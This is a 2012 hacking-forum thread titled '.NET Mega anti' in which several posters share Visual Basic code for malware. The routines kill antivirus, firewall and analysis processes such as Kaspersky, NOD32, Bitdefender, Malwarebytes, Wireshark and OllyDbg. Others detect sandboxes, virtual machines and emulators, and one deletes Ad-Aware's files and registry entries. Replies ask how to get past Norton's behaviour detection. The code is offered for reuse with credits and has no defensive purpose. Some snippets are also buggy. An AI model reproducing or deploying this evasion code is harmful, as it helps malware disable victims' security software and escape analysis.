.NET Mega anti

SP · Aug 10, 2012

Anti:

Anubis,Outpost,Norman,Bitdefender,Kapersky,Nod32,Zone Alarm

Posted by Vaqxine

Code:

&gt;Dim local As Process() = Process.GetProcesses
       Dim i As Integer
       For i = 0 To local.Length - 1
           Debug.WriteLine(local(i).ProcessName)
               If Strings.UCase(local(i).ProcessName) = Strings.UCase("sample") Then 'Anubis
                   local(i).Kill()
                   If Strings.UCase(local(i).ProcessName) = Strings.UCase("outpost") Then 'Outpost
                       local(i).Kill()
                       If Strings.UCase(local(i).ProcessName) = Strings.UCase("npfmsg") Then 'Norman
                           local(i).Kill()
                           If Strings.UCase(local(i).ProcessName) = Strings.UCase("bdagent") Then 'Bitdefender
                               local(i).Kill()
                               If Strings.UCase(local(i).ProcessName) = Strings.UCase("kavsvc") Then 'Kaspersky
                                   local(i).Kill()
                                   If Strings.UCase(local(i).ProcessName) = Strings.UCase("egui") Then 'Nod32
                                       local(i).Kill()
                                       If Strings.UCase(local(i).ProcessName) = Strings.UCase("zlclient") Then 'Zonealarm
                                           local(i).Kill()
                                       End If
                                   End If
                               End If
                           End If
                       End If
                   End If
               End If
       Next

Anti Kaspersky, Anubis, Sandboxie, Virtual Box, VMWare, Virtual PC, and WireShark - Posted by Deathader. (Reposted by Vorfin)

Code:

&gt;Imports Microsoft.Win32

Module Antis
   Dim Devices As Object, Grafikadapter As String, RegionA As String = "SELECT * FROM Win32_VideoController"
   Dim regPID As RegistryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows NT\CurrentVersion", False)
   Dim pid As Object = regPID.GetValue("ProductId")
   Dim id As String = "76487-337-8429955-22614"

   Public Function antiKAV() As Boolean
       On Error GoTo error1
       If Process.GetProcessesByName("avp").Length &gt;= 1 Then
           Return True
       Else
           Return False
       End If
       Exit Function
error1:
       End
   End Function
Private Sub AntiWireShark()

       Dim ProcessList As System.Diagnostics.Process()

       ProcessList = System.Diagnostics.Process.GetProcesses()

       Dim Proc As System.Diagnostics.Process

       Dim title As String

       For Each Proc In ProcessList
           title = Proc.MainWindowTitle
           If (String.Equals(title, "The Wireshark Network Analyzer")) Then

               Proc.Kill()

           End If
       Next
   End Sub
   Public Function antiSandboxie() As Boolean
       On Error GoTo error1
       If Process.GetProcessesByName("SbieSvc").Length &gt;= 1 Then
           Return True
       Else
           Return False
       End If
       Exit Function
error1:
       End
   End Function

   Public Function antiAnubis() As Boolean
       On Error GoTo error1
       Dim folder As String = Application.StartupPath
       Dim getFile As String = folder &amp; "\sample.exe"
       If Application.ExecutablePath = getFile Then
           Return True
       Else
           Return False
       End If
       Exit Function
error1:
       End
   End Function

   Public Function antiAnubis2() As Boolean
       On Error GoTo error1
       If pid = id Then
           Return True
       Else
           Return False
       End If
       Exit Function
error1:
       End
   End Function

   Public Function AntiVirtualBox() As Boolean
       On Error GoTo error1
       Call getDevices()

       Select Case Grafikadapter
           Case "VirtualBox Graphics Adapter"
               Return True
           Case Else
               Return False
       End Select
       Exit Function
error1:
       End
   End Function

   Public Function AntiVmWare() As Boolean
       On Error GoTo error1
       Call getDevices()

       Select Case Grafikadapter
           Case "VMware SVGA II"
               Return True
           Case Else
               Return False
       End Select
       Exit Function
error1:
       End
   End Function

   Public Function AntiVirtualPC() As Boolean
       On Error GoTo error1
       Call getDevices()

       Select Case Grafikadapter
           Case "VM Additions S3 Trio32/64"
               Return True
           Case Else
               Return False
       End Select
       Exit Function
error1:
       End
   End Function

   Private Sub getDevices()
       On Error GoTo error1
       Devices = GetObject("winmgmts:").ExecQuery(RegionA)
       For Each AdaptList In Devices
           Grafikadapter = AdaptList.Description
       Next
       Exit Sub
error1:
       End
   End Sub
End Module

Anti Emulator - Posted by Liindgreen

Code:

&gt;Public Function AntiEmulator() As Boolean
       Dim timenow As Long
       Dim timeaftersleep As Long
       'Assign long timenow to get
       'the milliseconds passed before
       'app being suspended.
       timenow = TickCount
       'Suspends the current thread for 500 milliseconds.
       Sleep(500)
       'TickCount: Gets the number of milliseconds
       'that passed since the application started.
       'So timenow + sleep(500).
       timeaftersleep = TickCount
       'timenow + sleep(500) - initial time &lt; 500.
       If timeaftersleep - timenow &lt; 500 Then
           AntiEmulator = True
       Else
           AntiEmulator = False
       End If
   End Function

Keyscrambler, Wireshark, Anubis, Malwarebytes, Kaspersky, Ollydbg, Outpost, Norman,Bit Defender, Nod32, Zone Alarm . - Posted by GeneralDee

Code:

&gt;---------------General Dee's Proccess Killers-------------
   '-----------Example Usage: "Anti-Keyscrambler()"-----
   '---------------Permission: To Use With Credits----------
   '---------------Coded: Visual Basic 2008-------------------
   'Kills Keyscrambler, Wireshark, Anubis, Malwarebytes, Kaspersky, Ollydbg, Outpost, Norman,Bit Defender, Nod32, Zone Alarm

   '------------------------Keyscrambler----------------------------
   Sub AntiKeyscrambler()
       Dim generaldee As Process() = Process.GetProcesses
       Dim i As Integer
       For i = 0 To generaldee.Length - 1
           Select Case Strings.LCase(generaldee(i).ProcessName)
               Case "keyscrambler"
                   generaldee(i).Kill()
               Case Else
           End Select
       Next
   End Sub

   '------------------------Wireshark----------------------------
   Sub AntiWireshark()
       Dim generaldee As Process() = Process.GetProcesses
       Dim i As Integer
       For i = 0 To generaldee.Length - 1
           Select Case Strings.LCase(generaldee(i).ProcessName)
               Case "wireshark"
                   generaldee(i).Kill()
               Case Else
           End Select
       Next
   End Sub

   '----------------------------Anubis--------------------------------
   Sub AntiAnubis()
       Dim generaldee As Process() = Process.GetProcesses
       Dim i As Integer
       For i = 0 To generaldee.Length - 1
           Select Case Strings.LCase(generaldee(i).ProcessName)
               Case "anubis"
                   generaldee(i).Kill()
               Case Else
           End Select
       Next
   End Sub

   '------------------------Malwarebytes----------------------------
   Sub AntiMalwarebytes()
       Dim generaldee As Process() = Process.GetProcesses
       Dim i As Integer
       For i = 0 To generaldee.Length - 1
           Select Case Strings.LCase(generaldee(i).ProcessName)
               Case "mbam"
                   generaldee(i).Kill()
               Case Else
           End Select
       Next
   End Sub

   '------------------------Kaspersky----------------------------
   Sub AntiKaspersky()
       Dim generaldee As Process() = Process.GetProcesses
       Dim i As Integer
       For i = 0 To generaldee.Length - 1
           Select Case Strings.LCase(generaldee(i).ProcessName)
               Case "avp"
                   generaldee(i).Kill()
               Case Else
           End Select
       Next
   End Sub

   '-----------------------Ollydbg---------------------------------
   Sub AntiOllydbg()
       Dim generaldee As Process() = Process.GetProcesses
       Dim i As Integer
       For i = 0 To generaldee.Length - 1
           Select Case Strings.LCase(generaldee(i).ProcessName)
               Case "ollydbg"
                   generaldee(i).Kill()
               Case Else
           End Select
       Next
   End Sub

   '-----------------------Outpost---------------------------------
   Sub AntiOutpost()
       Dim generaldee As Process() = Process.GetProcesses
       Dim i As Integer
       For i = 0 To generaldee.Length - 1
           Select Case Strings.LCase(generaldee(i).ProcessName)
               Case "outpost"
                   generaldee(i).Kill()
               Case Else
           End Select
       Next
   End Sub

   '-----------------------Norman------------------------------
   Sub AntiNorman()
       Dim generaldee As Process() = Process.GetProcesses
       Dim i As Integer
       For i = 0 To generaldee.Length - 1
           Select Case Strings.LCase(generaldee(i).ProcessName)
               Case "npfmsg"
                   generaldee(i).Kill()
               Case Else
           End Select
       Next
   End Sub

   '-----------------------Bit Defender------------------------------
   Sub AntiBitDefender()
       Dim generaldee As Process() = Process.GetProcesses
       Dim i As Integer
       For i = 0 To generaldee.Length - 1
           Select Case Strings.LCase(generaldee(i).ProcessName)
               Case "bdagent"
                   generaldee(i).Kill()
               Case Else
           End Select
       Next
   End Sub

   '-----------------------NOD32------------------------------
   Sub AntiNOD32()
       Dim generaldee As Process() = Process.GetProcesses
       Dim i As Integer
       For i = 0 To generaldee.Length - 1
           Select Case Strings.LCase(generaldee(i).ProcessName)
               Case "egui"
                   generaldee(i).Kill()
               Case Else
           End Select
       Next
   End Sub

   '-----------------------Zone Alarm------------------------------
   Sub AntiZoneAlarm()
       Dim generaldee As Process() = Process.GetProcesses
       Dim i As Integer
       For i = 0 To generaldee.Length - 1
           Select Case Strings.LCase(generaldee(i).ProcessName)
               Case "zlclient"
                   generaldee(i).Kill()
               Case Else
           End Select
       Next
   End Sub

Anti Adware - Posted by Rapid91

Code:

&gt;'Coded By Rue Port By Rapid91

Imports System.Runtime.InteropServices

_
Public Shared Function DeleteFile(ByVal path As String) As Boolean
End Function

Shared Sub AdAware()
Dim AdAwarePaths As New List(Of String)()

Dim ProgramFiles As String = Shell32.GetCSIDLPath(Shell32.CSIDL.CSIDL_PROGRAM_FILES)
AdAwarePaths.Add(ProgramFiles &amp; "\Lavasoft\")

For Each path As String In AdAwarePaths
'Coded by Rue
If Directory.Exists(path) Then
Dim dirInfo As New DirectoryInfo(path)
Dim dirFiles() As FileInfo = dirInfo.GetFiles("*.*", SearchOption.AllDirectories)

For Each file As FileInfo In dirFiles
Try
Kernel32.DeleteFile(file.FullName)
Catch
Continue For
End Try
Next file
End If
Next path

Dim rmLMADKeys As RegistryKey = Registry.LocalMachine.OpenSubKey("Software\Lavasoft\Ad-Aware\", True)

'Coded by Rue
Dim LMValues() As String = rmLMADKeys.GetValueNames()
For Each key As String In LMValues
Try
rmLMADKeys.DeleteValue(key)
Catch
Continue For
End Try
Next key

rmLMADKeys.Close()
End Sub

Anti-Sandboxie - Posted by Sora

Code:

&gt;' Anti-Sandboxie Example
' Sora

Option Explict

Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long

Public Sub CompName()
Dim Sandboxie as Boolean
If GetModuleHandle("SbieDll.dll") Then Sandboxie = True
     
If Sandboxie = True Then
    MsgBox "Sandboxie Detected"
 End If

End Sub

DaNnY225 · Oct 26, 2012

Re: Mega anti

Thanks for this! How We can bypass Sonar?

SP · Oct 26, 2012

Re: Mega anti

Thanks for this! How We can bypass Sonar?

Sonar what??? if you mean program you can check processes or window title

Katak · Nov 15, 2012

Re: Mega anti

He is referring to Norton i think.

It requires a lot of testing to bypass those behaviour detection

IP Tools

Basic Encoders/Decoders

Hash Generators

Classical Ciphers

Modern Cryptography

Other Tools

.NET Mega anti

SP

Leech #800000

DaNnY225

Junior Member

SP

Leech #800000

Katak

Leech